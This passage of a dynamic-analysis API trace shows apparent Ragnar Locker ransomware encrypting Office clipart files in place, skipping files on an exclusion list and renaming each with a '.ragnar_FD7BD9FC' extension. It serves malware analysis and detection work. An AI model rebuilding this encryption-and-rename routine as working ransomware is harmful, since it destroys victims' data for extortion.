cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0086.197] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.197] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0217872.WMF" | out: lpString1="J0217872.WMF") returned="J0217872.WMF" [0086.197] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned=".WMF" [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="autorun.inf") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="boot.ini") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootfont.bin") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootsect.bak") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootmgr") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootmgr.efi") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootmgfw.efi") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="desktop.ini") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="iconcache.db") returned 1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ntldr") returned -1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ntuser.dat") returned -1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ntuser.dat.log") returned -1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ntuser.ini") returned -1 [0086.197] lstrcmpiW (lpString1="J0217872.WMF", lpString2="thumbs.db") returned -1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.197] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf")) returned 0x20 [0086.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.198] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7336) returned 1 [0086.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.198] GetProcessHeap () returned 0x580000 [0086.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.198] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.199] VirtualAlloc (lpAddress=0x0, dwSize=0x1ca8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.200] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ca8, lpOverlapped=0x0) returned 1 [0086.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ca8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.200] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ca8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ca8, lpOverlapped=0x0) returned 1 [0086.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ca8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ca8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.201] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.201] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.201] GetProcessHeap () returned 0x580000 [0086.201] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.201] CloseHandle (hObject=0xf4) returned 1 [0086.201] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" [0086.201] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ragnar_FD7BD9FC" [0086.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.202] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0086.202] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.202] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0227419.JPG" | out: lpString1="J0227419.JPG") returned="J0227419.JPG" [0086.202] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned=".JPG" [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="autorun.inf") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="boot.ini") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootfont.bin") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootsect.bak") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootmgr") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootmgr.efi") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="bootmgfw.efi") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="desktop.ini") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="iconcache.db") returned 1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ntldr") returned -1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ntuser.dat") returned -1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ntuser.dat.log") returned -1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="ntuser.ini") returned -1 [0086.202] lstrcmpiW (lpString1="J0227419.JPG", lpString2="thumbs.db") returned -1 [0086.202] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0086.203] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0086.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg")) returned 0x20 [0086.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.203] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35542) returned 1 [0086.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8acd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.203] GetProcessHeap () returned 0x580000 [0086.203] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.203] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.205] VirtualAlloc (lpAddress=0x0, dwSize=0x8ad6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.205] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8ad6, lpOverlapped=0x0) returned 1 [0086.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.207] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ad6, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.207] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8ad6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8ad6, lpOverlapped=0x0) returned 1 [0086.207] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ad6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.207] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.207] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.207] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.207] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.207] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.208] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.208] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.208] GetProcessHeap () returned 0x580000 [0086.208] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.208] CloseHandle (hObject=0xf4) returned 1 [0086.208] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" [0086.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ragnar_FD7BD9FC" [0086.208] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.208] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0086.208] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.208] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0227558.JPG" | out: lpString1="J0227558.JPG") returned="J0227558.JPG" [0086.208] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned=".JPG" [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="autorun.inf") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="boot.ini") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootfont.bin") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootsect.bak") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootmgr") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootmgr.efi") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="bootmgfw.efi") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="desktop.ini") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="iconcache.db") returned 1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ntldr") returned -1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ntuser.dat") returned -1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ntuser.dat.log") returned -1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="ntuser.ini") returned -1 [0086.209] lstrcmpiW (lpString1="J0227558.JPG", lpString2="thumbs.db") returned -1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0086.209] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0086.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg")) returned 0x20 [0086.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.210] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=58089) returned 1 [0086.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe2e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.210] GetProcessHeap () returned 0x580000 [0086.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.210] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.212] VirtualAlloc (lpAddress=0x0, dwSize=0xe2e9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.212] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe2e9, lpOverlapped=0x0) returned 1 [0086.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.214] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.214] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2e9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe2e9, lpOverlapped=0x0) returned 1 [0086.214] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.215] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe2e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.215] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.215] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.215] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.215] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.215] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.215] GetProcessHeap () returned 0x580000 [0086.215] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.215] CloseHandle (hObject=0xf4) returned 1 [0086.215] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" [0086.215] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ragnar_FD7BD9FC" [0086.216] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.216] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0086.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.216] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0228823.WMF" | out: lpString1="J0228823.WMF") returned="J0228823.WMF" [0086.216] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned=".WMF" [0086.216] lstrcmpiW (lpString1="J0228823.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.216] lstrcmpiW (lpString1="J0228823.WMF", lpString2="autorun.inf") returned 1 [0086.216] lstrcmpiW (lpString1="J0228823.WMF", lpString2="boot.ini") returned 1 [0086.216] lstrcmpiW (lpString1="J0228823.WMF", 